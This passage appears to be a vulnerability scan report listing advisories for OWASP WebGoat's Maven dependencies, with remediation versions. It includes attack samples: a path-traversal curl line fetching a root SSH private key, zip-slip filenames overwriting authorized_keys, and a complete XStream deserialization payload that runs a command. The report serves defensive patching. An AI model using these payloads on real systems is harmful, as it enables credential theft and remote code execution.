org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Session Fixation due to the logout functionality not properly clearing the security context when using serialized versions. Additionally, it is not possible to explicitly save an empty security context to the `HttpSessionSecurityContextRepository`. This allows users to stay authenticated after a logout.

NOTE: Applications are only vulnerable if any of the following conditions are true:

- The `SecurityContextHolderFilter` or `requireExplicitSave(true)` is in use with logout support for serialized sessions, and `invalidateHttpSession(false)`.
- Users are logged out manually by saving an empty `SecurityContext` into the `HttpSessionSecurityContextRepository`.
- A custom `SecurityContextRepository` is in use that does not rely on the `HttpSession`.

Remediation

Upgrade `org.springframework.security:spring-security-web` to version 5.7.8, 5.8.3, 6.0.3 or higher.

References

- GitHub Commit
- Vulnerability Advisory

More about this vulnerability

MEDIUM SEVERITY

Authorization Bypass

- Package Manager: maven
- Vulnerable module: org.springframework.security:spring-security-web
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-security@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-security@2.7.1 › org.springframework.security:spring-security-web@5.7.2

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass due to the use of `String.toLowerCase()` and `String.toUpperCase()` that have `Locale` dependent exceptions, which results in authorization rules not working properly.

Remediation

Upgrade `org.springframework.security:spring-security-web` to version 5.7.14, 5.8.16, 6.2.8, 6.3.5 or higher.

References

- GitHub Commit
- GitHub Commit
- GitHub Commit
- Spring Security Advisory

More about this vulnerability

MEDIUM SEVERITY

Authorization Bypass

- Package Manager: maven
- Vulnerable module: org.springframework.security:spring-security-crypto
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.security:spring-security-test@5.7.2 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.security:spring-security-test@5.7.2 › org.springframework.security:spring-security-core@5.7.2 › org.springframework.security:spring-security-crypto@5.7.2

Overview

org.springframework.security:spring-security-crypto is a spring-security-crypto library for Spring Security.

Affected versions of this package are vulnerable to Authorization Bypass due to the use of `String.toLowerCase()` and `String.toUpperCase()` that have `Locale` dependent exceptions, which results in authorization rules not working properly.

Remediation

Upgrade `org.springframework.security:spring-security-crypto` to version 5.7.14, 5.8.16, 6.2.8, 6.3.5 or higher.

References

- GitHub Commit
- GitHub Commit
- GitHub Commit
- Spring Security Advisory

More about this vulnerability

MEDIUM SEVERITY

Authorization Bypass

- Package Manager: maven
- Vulnerable module: org.springframework.security:spring-security-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.security:spring-security-test@5.7.2 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.security:spring-security-test@5.7.2 › org.springframework.security:spring-security-core@5.7.2

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass due to the use of `String.toLowerCase()` and `String.toUpperCase()` that have `Locale` dependent exceptions, which results in authorization rules not working properly.

Remediation

Upgrade `org.springframework.security:spring-security-core` to version 5.7.14, 5.8.16, 6.2.8, 6.3.5 or higher.

References

- GitHub Commit
- GitHub Commit
- GitHub Commit
- Spring Security Advisory

More about this vulnerability

MEDIUM SEVERITY

Session Fixation

- Package Manager: maven
- Vulnerable module: org.springframework.security:spring-security-config
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-security@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-security@2.7.1 › org.springframework.security:spring-security-config@5.7.2

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Session Fixation due to the logout functionality not properly clearing the security context when using serialized versions. Additionally, it is not possible to explicitly save an empty security context to the `HttpSessionSecurityContextRepository`. This allows users to stay authenticated after a logout.

NOTE: Applications are only vulnerable if any of the following conditions are true:

- The `SecurityContextHolderFilter` or `requireExplicitSave(true)` is in use with logout support for serialized sessions, and `invalidateHttpSession(false)`.
- Users are logged out manually by saving an empty `SecurityContext` into the `HttpSessionSecurityContextRepository`.
- A custom `SecurityContextRepository` is in use that does not rely on the `HttpSession`.

Remediation

Upgrade `org.springframework.security:spring-security-config` to version 5.7.8, 5.8.3, 6.0.3 or higher.

References

- GitHub Commit
- Vulnerability Advisory

More about this vulnerability

MEDIUM SEVERITY

Authorization Bypass

- Package Manager: maven
- Vulnerable module: org.springframework.security:spring-security-config
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-security@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-security@2.7.1 › org.springframework.security:spring-security-config@5.7.2

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Authorization Bypass due to the use of `String.toLowerCase()` and `String.toUpperCase()` that have `Locale` dependent exceptions, which results in authorization rules not working properly.

Remediation

Upgrade `org.springframework.security:spring-security-config` to version 5.7.14, 5.8.16, 6.2.8, 6.3.5 or higher.

References

- GitHub Commit

- GitHub Commit
- GitHub Commit
- Spring Security Advisory

More about this vulnerability

MEDIUM SEVERITY

Improper Input Validation

- Package Manager: maven
- Vulnerable module: org.springframework.boot:spring-boot-actuator-autoconfigure
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-actuator@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-actuator@2.7.1 › org.springframework.boot:spring-boot-actuator-autoconfigure@2.7.1

Overview

Affected versions of this package are vulnerable to Improper Input Validation via the `EndpointRequest.to()` function that creates a matcher for `null/**` if the actuator endpoint, for which the `EndpointRequest` has been created, is disabled or not exposed.

Note:

This is only exploitable if all of the following conditions are met:

1. `EndpointRequest.to()` has been used in a Spring Security chain configuration;
2. The endpoint which `EndpointRequest` references is disabled or not exposed via web;
3. Your application handles requests to `/null` and this path needs protection.

Workaround

This can be mitigated by either:

1. Making sure that the endpoint to which `EndpointRequest.to()` is referring to is enabled and exposed via web;
2. Make sure that you don't handle requests to `/null` .

Remediation

Upgrade `org.springframework.boot:spring-boot-actuator-autoconfigure` to version 3.3.11, 3.4.5 or higher.

References

- GitHub Commit
- Spring Security Advisory

More about this vulnerability

MEDIUM SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: org.springframework.boot:spring-boot-actuator
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-actuator@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-actuator@2.7.1 › org.springframework.boot:spring-boot-actuator-autoconfigure@2.7.1 › org.springframework.boot:spring-boot-actuator@2.7.1

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via HTTP requests, when both of these conditions are true:

- Spring MVC or Spring WebFlux is in use.
- `org.springframework.boot:spring-boot-actuator` is on the classpath.

Workaround

This vulnerability can be avoided by disabling web metrics: `management.metrics.enable.http.server.requests=false`

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `org.springframework.boot:spring-boot-actuator` to version 2.7.18, 3.0.13, 3.1.6 or higher.

References

- GitHub Commit
- Vulnerability Advisory

More about this vulnerability

MEDIUM SEVERITY

Cross-site Scripting (XSS)

- Package Manager: maven
- Vulnerable module: org.jsoup:jsoup
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and org.jsoup:jsoup@1.14.3

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.jsoup:jsoup@1.14.3

Overview

org.jsoup:jsoup is a Java library for working with real-world HTML. It provides a very convenient API for extracting and manipulating data, using the best of DOM, CSS, and jquery-like methods. jsoup implements the WHATWG HTML5 specification, and parses HTML to the same DOM as modern browsers do.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper sanitization of `HTML` including `javascript: URL` expressions if the non-default `SafeList.preserveRelativeLinks` option is enabled and no Content Security Policy is set on the website.

Note: Users that are upgrading to the fixed version should also clean old content again because unsanitized input may have persisted.

Mitigation

Users unable to upgrade to the fixed version should disable the `SafeList.preserveRelativeLinks` option, which will rewrite input URLs as absolute URLs and ensure an appropriate Content Security Policy is defined. It could be also used should as a defense-in-depth best practice.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<` and `>` can be coded as `>` in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type	Origin	Description
Stored	Server	The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected	Server	The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based	Client	The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated		The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

- Web servers

- Application servers
- Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents.
- Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade `org.jsoup:jsoup` to version 1.15.3 or higher.

References

- GitHub Commit
- GitHub Release

More about this vulnerability

MEDIUM SEVERITY

Improper Validation of Certificate with Host Mismatch

- Package Manager: maven
- Vulnerable module: org.jruby:jruby
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.asciidoctor:asciidoctorj@2.5.3 and others

---

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.asciidoctor:asciidoctorj@2.5.3 › org.jruby:jruby@9.3.6.0

Overview

org.jruby:jruby is a high performance, stable, fully threaded Java implementation of the Ruby programming language.

Affected versions of this package are vulnerable to Improper Validation of Certificate with Host Mismatch in the SSL certificate validation process. An attacker can intercept secure communications by presenting a valid certificate for an unrelated domain that the attacker controls.

Note:

This is only exploitable if the attacker is in a "man-in-the-middle" (MITM) position before performing the attack.

PoC

```
require "net/http"
        require "openssl"

        uri   = URI("https://bad.substitutealert.com/")
        https = Net::HTTP.new(uri.host, uri.port)
        https.use_ssl      = true
        https.verify_mode  = OpenSSL::SSL::VERIFY_PEER

        body = https.start { https.get(uri.request_uri).body }
        puts body
```

Remediation

Upgrade `org.jruby:jruby` to version 9.4.12.1, 10.0.0.1 or higher.

References

- GitHub Commit

More about this vulnerability

MEDIUM SEVERITY

Allocation of Resources Without Limits or Throttling

- Package Manager: maven
- Vulnerable module: org.jboss.xnio:xnio-api
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

---

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final › org.jboss.xnio:xnio-api@3.8.7.Final

Overview

org.jboss.xnio:xnio-api is a simplified low-level I/O layer which can be used anywhere you are using NIO.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the `notifyReadClosed` method by allowing an attacker to send flawed requests to a server, possibly causing log contention-related performance concerns or an unwanted disk fill-up.

Remediation

Upgrade `org.jboss.xnio:xnio-api` to version 3.8.8 or higher.

References

- GitHub Commit
- GitHub PR
- RedHat Bugzilla Bug

More about this vulnerability

MEDIUM SEVERITY

Inadequate Encryption Strength

- Package Manager: maven
- Vulnerable module: org.bitbucket.b_c:jose4j
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and org.bitbucket.b_c:jose4j@0.7.6

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.bitbucket.b_c:jose4j@0.7.6

Overview

org.bitbucket.b_c:jose4j is a robust and easy to use open source implementation of JSON Web Token (JWT) and the JOSE specification suite (JWS, JWE, and JWK). It is written in Java and relies solely on the JCA APIs for cryptography. Please see https://bitbucket.org/b_c/jose4j/wiki/Home for more info, examples, etc...

Affected versions of this package are vulnerable to Inadequate Encryption Strength through the iteration count setting, which can reduce the computational effort required to crack the encryption if it is set to a low value.

Remediation

Upgrade `org.bitbucket.b_c:jose4j` to version 0.9.3 or higher.

References

- Bitbucket Commit
- Bitbucket Issue
- Vulnerability Report

More about this vulnerability

MEDIUM SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to Denial of Service (DoS) when a `POST` request comes through `AJP` and the request exceeds the `max-post-size` limit (`maxEntitySize`). The `AjpServerRequestConduit` implementation closes a connection without sending any response to the `client/proxy` which will result in a front-end proxy marking the backend worker as an error state and not forward requests to the worker for a while.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.19.Final, 2.3.0.Alpha2 or higher.

References

- GitHub Commit
- GitHub Commit
- GitHub PR
- Red Hat Bugzilla Bug
- Undertow Issue

More about this vulnerability

MEDIUM SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to Denial of Service (DoS) in flow control handling by the browser over HTTP/2. This may cause overhead or a denial of service in the server. This is due to an incomplete fix of CVE-2021-3629.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.25.Final, 2.3.6.Final or higher.

References

- GitHub Commit
- GitHub PR
- Undertow Issue

More about this vulnerability

MEDIUM SEVERITY

Directory Traversal

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to Directory Traversal due to improper input validation of the HTTP request. An attacker can access privileged or restricted files and directories by appending a specially-crafted sequence to an HTTP request for an application deployed to JBoss EAP.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

`st` is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the `public` route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

```
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
```

Note `%2e` is the URL encoded version of `.` (dot).

- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`.

One way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:

```
2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys
```

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.33.Final, 2.3.12.Final or higher.

References

- GitHub Commit
- RedHat Bugzilla Bug

More about this vulnerability

MEDIUM SEVERITY

Race Condition

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

---

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

---

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to Race Condition due to the reuse of the `StringBuilder` instance in the `ProxyProtocolReadListener` across multiple requests. An attacker can access data from previous requests or responses by exploiting the shared usage of the `StringBuilder`.

This vulnerability primarily results in errors and connection termination but creates a risk of data leakage in multi-request environments.

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.36.Final, 2.3.17.Final or higher.

References

- GitHub Commit
- GitHub Commit
- Red Hat Bugzilla Bug

More about this vulnerability

MEDIUM SEVERITY

Directory Traversal

- Package Manager: maven
- Vulnerable module: commons-io:commons-io
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and commons-io:commons-io@2.6

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › commons-io:commons-io@2.6

Overview

commons-io:commons-io is a The Apache Commons IO library contains utility classes, stream implementations, file filters, file comparators, endian transformation classes, and much more.

Affected versions of this package are vulnerable to Directory Traversal via calling the method FileNameUtils.normalize using an improper string like `//../foo` or `¥¥..¥foo`, which may allow access to files in the parent directory.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

`st` is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the `public` route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

```
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
```

Note `%2e` is the URL encoded version of `.` (dot).

- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`.

One way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:

```
2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys
```

Remediation

Upgrade `commons-io:commons-io` to version 2.7 or higher.

References

- GitHub Commit
- Jira Issue
- PoC

More about this vulnerability

MEDIUM SEVERITY

Uncontrolled Resource Consumption ('Resource Exhaustion')

- Package Manager: maven
- Vulnerable module: commons-io:commons-io
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and commons-io:commons-io@2.6

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › commons-io:commons-io@2.6

Overview

commons-io:commons-io is a The Apache Commons IO library contains utility classes, stream implementations, file filters, file comparators, endian transformation classes, and much more.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') through the `XmlStreamReader` class. An attacker can cause the application to consume excessive CPU resources by sending specially crafted XML content.

Remediation

Upgrade `commons-io:commons-io` to version 2.14.0 or higher.

References

- Apache Advisory
- GitHub Commit

More about this vulnerability

MEDIUM SEVERITY

Arbitrary File Deletion

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary File Deletion. A remote attacker can delete arbitrary known files on the host as long as the executing process has sufficient rights, by manipulating the processed input stream.

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.15 or higher.

References

- CVE-2020-26259 Details
- GitHub Advisory
- GitHub Commit
- PoC in GitHub

More about this vulnerability

MEDIUM SEVERITY

Server-Side Request Forgery (SSRF)

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). A remote attacker can request data from internal resources that are not publicly available by manipulating the processed input stream.

Note: This vulnerability does not exist running Java 15 or higher, and is only relevant when using `XStream` 's default blacklist.

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.15 or higher.

References

- Exploit Repo
- GitHub Commit
- XStream Advisory
- Nuclei Templates

More about this vulnerability

MEDIUM SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. There is a vulnerability which may allow a remote attacker who has sufficient rights to execute local commands on the host only by manipulating the processed input stream.

PoC

```
<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
              <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
                <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
                  <packet>
                    <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
                      <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                        <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                          <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                            <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                              <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
                              <uriProperties/>
                              <attributeProperties/>
                              <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                                <getter>
                                  <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
                                  <name>verify</name>
                                  <parameter-types/>
                                </getter>
                              </inheritedAttWildcard>
                            </bi>
                            <tagName/>
                            <context>
                              <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                                <outer-class reference='../..'/>
                              </marshallerPool>
                              <nameList>
                                <nsUriCannotBeDefaulted>
                                  <boolean>true</boolean>
                                </nsUriCannotBeDefaulted>
                                <namespaceURIs>
                                  <string>1</string>
                                </namespaceURIs>
                                <localNames>
                                  <string>UTF-8</string>
                                </localNames>
                              </nameList>
                            </context>
                          </bridge>
                        </bridge>
                        <jaxbObject class='com.sun.corba.se.impl.activation.com.sun.corba.se.impl.activation.ServerTableEntry'>
                          <activationCmd>calc</activationCmd>
                        </jaxbObject>
                      </dataSource>
                    </message>
                    <satellites/>
                    <invocationProperties/>
                  </packet>
                </indexMap>
              </comparator>
            </default>
            <int>3</int>
            <string>javax.xml.ws.binding.attachments.inbound</string>
            <string>javax.xml.ws.binding.attachments.inbound</string>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>
```

Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like *Remote Method Invocation (RMI)*, *Java Management Extension (JMX)*, *Java Messaging System (JMS)*, *Action Message Format (AMF)*, *Java Server Faces (JSF) ViewState*, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

> Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.16 or higher.

References

- XStream Advisory
- XStream Changelog
- XStream Workaround
- Nuclei Templates

More about this vulnerability

MEDIUM SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
